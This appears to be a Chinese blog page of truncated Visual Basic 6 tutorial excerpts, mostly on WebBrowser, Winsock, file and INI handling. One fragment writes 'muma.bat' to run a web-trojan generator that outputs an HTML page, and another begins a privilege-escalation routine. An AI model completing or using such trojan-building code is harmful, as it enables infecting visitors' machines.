唸 尐 憂 的 天 空

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Lo

　　WinSock控件能够通过UDP协议（用户数据报协议）或TCP协议（数据传输协议）连接到远程的机器并进行数据交换。这两种协议都能用来创建客户端和服务端应用程序。就像定时器控件一样，WinSock控件运行时没有一个可视的界面。　　可能的用途　　·创建客户端应用程序，它能在信息到达中央服务器之前把用户的信息收集起来。　　·创建服务端应用程序，它能作为来自多个用户的数据一个集中处理点。　　·创建“聊

Private Sub Command1_Click()WebBrowser1.Navigate "http://" & Text1.TextEnd SubPrivate Sub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean)Dim frm As Form1Set frm = New Form1frm.Visible

自己做浏览器？有没有搞错？不要说像IE这样的庞然大物，就是小巧的Opera，我们大多数普通人也决计搞不出来。但如果你的机器里装有VB5.0专业版，那么事情就好办多了，想试试吗？那好，Let`s go!　　程序的主角是一个ActiveX控件：WebBrowser。当然，缺省状态下VB的工具箱中并没有它，我们得手工加入，方法是：右击工具箱，在出现的快捷菜单中选择“部件...”，确保在弹出的对话框中选中

 

在程序流程中经常要延时一段时间后再继续往下执行,在VB中常用的有以下几种方法(因为Timer控件打乱了程序的流程所以一般不用它):1.使用Windows API函数Sleep新建一个工程,添加一个TextBox控件和一个CommandButton控件,再将以下代码复制到代码窗口声明:Private Decla

CommonDialog 控件提供诸如打开和保存文件、设置打印选项、选择颜色和字体等操作的一组标准对话框。运行 Windows 帮助引擎时，控件还能够显示帮助。 　　　　CommonDialog 控件在 Visual Basic 和 Microsoft Windows 动态连接库Commdlg.dll 例程之间提供了接口。为了用该控件创建对话框，必须要求Commdlg.dll 在 Microsof

 方法一:if   dir("c:/windows/123.txt")=""   then   end   方法二:Set   objFSO   =   CreateObject("Scripting.FileSystemObject")     If   objFSO.FileExists("c:/windows/123.txt")   =   true   Then    

’ 1. 建立工程， 窗体名: Form1 ==> Label控件， 名称: lblStatus’                            ==> 建立菜单若干’ 2. 加入一个模块’窗体中代码:Private Sub Form_Load()    origWndProc = SetWindowLong(hwnd， GWL_WNDPROC， AddressOf AppWn

标  题: 鼠标在菜单上移动时显示菜单提示 1. 建立工程, 窗体名: Form1 ==> Label控件, 名称: lblStatus                             ==> 建立菜单若干      2. 加入一个模块  窗体中代码:  Private Sub Form_Load()     origWndProc = SetWindowLong(hwnd,

现在，有许多软件安装后会在 IE 浏览器的工具条上添加一个自定义按钮，为用户运行程序提供了方便，如“网络蚂蚁”、“金山词霸”等等。实际上添加这个自定义按钮并不难，只要找到了它在注册表中的位置和有关参数，通过手工或程序都可以轻易完成。 而最方便的办法就是调用现成的 ActiveX 控件来完成这个功能，但 Windows 似乎没有提供这种控件。下面介绍如何开发和使用这种自定义控件。 实现方法 　　

有人总问为什么在使用webbrowser.document.links.length时候会有错误91         这是因为你在webbrowser   还没有完整的下载页面，就使用的document   对象         会出现对象未设置错误91         解决办法就是   Private   Sub   Form_Load()         WebBrowser1.Navigat

Option Explicit Public Const WM_USER = &H400 Public Const GWL_WNDPROC = (-4) Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" _ (ByVal hwnd As Long, ByVal nIndex As Long, ByVal d

　　当我们在设置屏幕背景图，或是在你的文件中插入图片时，总要在你的电脑里选择图片。有时打开的图片你不一定满意，你又不得不一个个地打开、关闭……这样一而再，再而三地重复。如果是“Photoshop”这样的大软件运行起来更是慢得不得了。不但烦躁，而且还浪费了你很多宝贵时间。这时，你是不是觉得“电脑”有点像“猪脑”呢？不过，别急！幸好我用VB编了一个小小的程序，可以解决这个问题，你不妨试试！　　下面

Dim A, S As String Dim FreeNum As Integer FreeNum = FreeFile Freenum表示一个空闲的文件号 open "D:/date.txt" for input as #FreeNum 这步是打开“date.txt”，for input表示以输入方式（即读取文件）打开。如果要写入文件则应该用output或append。 Do Until e

点击第一个按钮 把C:/123.TXT 读取到 text1 要全部都能显示出来!我试过有的只能显示一行 或不能全部显示 第二个 按下第二个按钮 把 C:/321.TXT 读取到 text2 而且只读取文本的前20行... 后面的省略不读  text控件的multiline属性都设为true scrollbar属性设成2 第一个按钮 Private Sub Command1_Click(

如：TEXT1里面有多行文字：今年共有20名北京学生被录为免费师范生，其中陕西师范大学在京招生17人，东北师大招生3人。陕西师范大学招办负责人惠刚介绍，在京招收的17个免费师范生中，男生5人，女生12人，与往年情况相同。但今年城镇考生达到11人，农村考生仅为6人，这是今年的一个显著变化。已经知道要查找的字符串是：负责人那么怎么在TEXT2里面显示：陕西师范大学招办负责人惠刚介绍，有两种不同

可以用shell把它交给dos来完成吗？ shell "cmd.exe /c copy 源文件 目录文件" 这样就可以把本程序给释放出来了--------------------------------------------------------------------VB编程来实现文件的复制与重命名filecopy   "c:/1.txt","d:/2.txt"     name

Time 返回系统时钟的当前时间。 Date 返回系统时钟的当前日期。 Now 返回代表当前日期和时间的编码值。该函数经常用作其它系统时钟函数的参数。 Hour(Time) 返回指定时间的小时部分（0到23）。 Minute(Time) 返回指定时间的分钟部分（0到59）。  Second(Time) 返回指定

弹出式菜单的实现  　　VB中在菜单设计窗口中设计的菜单是下拉式菜单。下拉式菜单是用户在任何时候都可以在顶端菜单条上选择后拉出的菜单,而弹出式菜单则是在程序界面的一定区域内点按鼠标键后出现的菜单。在某些情况下,弹出式菜单会使系统功能的实现更加简洁和高效,使用起来更加得心应手。  　　Windows程序的弹出式菜单一般是当用户在程序的桌面上点按鼠标键时出现的。弹出式菜单多用于实现系统的附加或增强功能

VB读写ini文件（1）自从注册表诞生以来ini文件正在逐渐失去其市场占有率，然而基于ini文件的独立性，致使其还没有到达退出历史舞台的地步，很多应用程序的初始化和一些界面参数的设置仍然很愿意从ini文件中读取，为了保证操作需用参数对ini文件的读取的通明性，建议使用一个模块来完成此工作。注：所有操作调用标准的Win API函数来完成。　　Dim Ret As Long　　Dim Start

WebBrowser的8个方法和13个属性，以及它们的功能：方法 说明 　GoBack 相当于IE的“后退”按钮，使你在当前历史列表中后退一项　GoForward 相当于IE的“前进”按钮，使你在当前历史列表中前进一项 　GoHome 相当于IE的“主页”按钮，连接用户默认的主页 　GoSearch 相当于IE的“搜索”按钮，连接用户默认的搜索页面 　Navigate 连接到指定的URL

我在网上找到使用rft控件保存webbrowse文本  txtHtml是RichTextBoxtxtHTML.Text = WebBrowser1.document.body.innerTextflag ：rsftext 保存为txt文件，strtmp文件路径txtHTML.saveFile strtmp, rtfText将其name属性设置为webPrivate Sub Command

On Error Resume NextS = CurDirIf Right(S, 1) S = S & "/"End IfOpen S & "muma.bat" For Output As #1Print #1, ":redel"   //批处理的写法Print #1, "temp.dll " & Text1.Text & " 004.htm" //在这里把DOS下的网马生成器改成dll，用来调

Private Sub webSky_DownloadComplete()    On Error Resume Next    WebSky.Silent = True    Me.MousePointer = vbDefault       Dim x, CtrlRange    Dim sPath As String       sPath = App.Path       sPath =

******************************************************提升权限---------------------------------------------------鬼龙之舞2003-12-21******************************************************Private Typ

方法 说明 　GoBack  相当于IE的“后退”按钮，使你在当前历史列表中后退一

Visual Basic程序中调用CHM帮助文件的方法。 　　方法一　使用F1键：　　这种方法最简单，只需如下代码即可：Private Sub Form_Load() App.HelpFile = app.path & "/help.chm" 调用与主程序同目录下的help.chm帮助文件，按F1键调用End Sub 　　方法二 使用SendKeys方法：Private Sub Form

------------------------------------------------- 用途：将十进制转化为二进制 输入：Dec(十进制数) 输入数据类型：Long 输出：DEC_to_BIN(二进制数) 输出数据类型：String 输入的最大数为2147483647,输出最大数为1111111111111111111111111111111(31个1)Public

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As

方法一:If App.PrevInstance = True Then MsgBox "程序已经在运行中,不打开两个!", vbCritical + vbOKOnly, "友情提示"  方法二:设计时把窗体的LinkMode设为1-Source；在窗体上添加一个PictureBox命名picDDE。（貌似文本框和标签也可以这么用，没试过） API函数,用于把制定窗口设为活动窗口

 用网页 自动填表 的方法 首先在程序中加入Webbrowser控件并加入引用 Microsoft HTML Object Library。 假设你的HTML页面表单代码如下： http://chen/dll/chat/chatmain.exe/RegUser"> 请填写下面表单注册（*项为必添项） *姓名 *昵称 电子邮件 *密码 注意其中元素的type、Name、value属性。然

　　QQ的界面大家都不陌生吧？CtListBar就是一个十分优秀的第三方控件，利用它我们可以很轻松的做出一个象QQ一样的界面。这节中，我们将通过对CtListBar控件基本使用方法的学习，参照一个实例，打造出一个很酷的QQ菜单。　　CtListBar控件包含了许多很有用的方法和属性。开始实例学习前，我们有必要先对其主要的几个方法和属性了解一番。表一和表二分别列出了几个主要的方法和属性，以及它们的类

一、前言　　尽管Visual Basic并不是我最喜欢的开发工具，但我喜欢它简单而又丰富的库集。每当开发一个需要处理大量文本数据的应用程序时，需要具有拼写错误纠正功能，例如，微软的Word程序，当运行"拼写检查"时，将提供给你一个改正错误的机会（尽管是建议），它同时也提供了"查找替换"工具，用以进行用户定义的单词替换。这篇文章我将解释如何在VB应用程序中实现"查找替换"功能。 　　二、前提条件　　

　原文标题：VB6 中 使用Winsock穿越各种代理的实现(TCP协议)　　本文中引用的RFC文档内容归原作者所有　　转载本文请标明出处　　本文作者:吴滂　　关于用vb的winsock穿透代理的讨论归讨论,一直没有什么源代码放出,现在我就放源出来,省的某些人拿这所谓的"技术"去骗钱.　　由于缺乏测试环境,本程序只在我自己编写的代理模拟器上测试过,其结果和腾讯QQ,MSN,网易

模块代码 以下是模块片段： Declare Function GetPrivateProfileString Lib "kernel32" _    Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, _    ByVal lpKeyName As

公共事件 BackColorChanged 当 BackColor 属性的值更改时发生。 BackgroundImageChanged 当 BackgroundImage 属性的值更改时发生。

 1.API 函数      SetParent   设一个对象的父对象？参数是控件（对象）的句柄。。这招够绝！！         SetParent  .hwnd, m_lToolWnd         这样就可以把VB窗体上的控件放到IE工具栏上去 ！！ API的作用真大！！！！ 2.BHO 调用      主要实现下面这么多接口,郁闷O..红色是真正BHO的接口啦!!